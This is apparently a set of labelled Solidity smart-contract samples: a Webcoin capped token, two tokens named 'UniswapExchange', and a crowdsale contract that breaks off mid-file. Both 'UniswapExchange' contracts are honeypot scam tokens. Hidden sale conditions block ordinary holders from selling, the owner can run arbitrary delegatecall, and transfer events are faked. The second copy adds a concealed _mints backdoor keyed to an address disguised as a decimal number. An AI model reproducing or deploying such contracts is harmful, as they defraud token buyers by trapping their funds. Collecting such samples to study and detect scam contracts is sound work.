function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract WebcoinToken is CappedToken {
string constant public name = "Webcoin";
string constant public symbol = "WEB";
uint8 constant public decimals = 18;
address private miningWallet;
function WebcoinToken(uint256 _cap, address[] _wallets) public CappedToken(_cap) {
require(_wallets[0] != address(0) && _wallets[1] != address(0) && _wallets[2] != address(0) && _wallets[3] != address(0) && _wallets[4] != address(0) && _wallets[5] != address(0) && _wallets[6] != address(0));
uint256 mil = (10**6);
uint256 teamSupply = mil.mul(5).mul(1 ether);
uint256 miningSupply = mil.mul(15).mul(1 ether);
uint256 marketingSupply = mil.mul(10).mul(1 ether);
uint256 developmentSupply = mil.mul(10).mul(1 ether);
uint256 legalSupply = mil.mul(2).mul(1 ether);
uint256 functionalCostsSupply = mil.mul(2).mul(1 ether);
uint256 earlyAdoptersSupply = mil.mul(1).mul(1 ether);
miningWallet = _wallets[1];
mint(_wallets[0], teamSupply);
mint(_wallets[1], miningSupply);
mint(_wallets[2], marketingSupply);
mint(_wallets[3], developmentSupply);
mint(_wallets[4], legalSupply);
mint(_wallets[5], functionalCostsSupply);
mint(_wallets[6], earlyAdoptersSupply);
}
function finishMinting() onlyOwner canMint public returns (bool) {
mint(miningWallet, cap.sub(totalSupply()));
return super.finishMinting();
}
} | 1 | 3,838 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,965 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,723 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
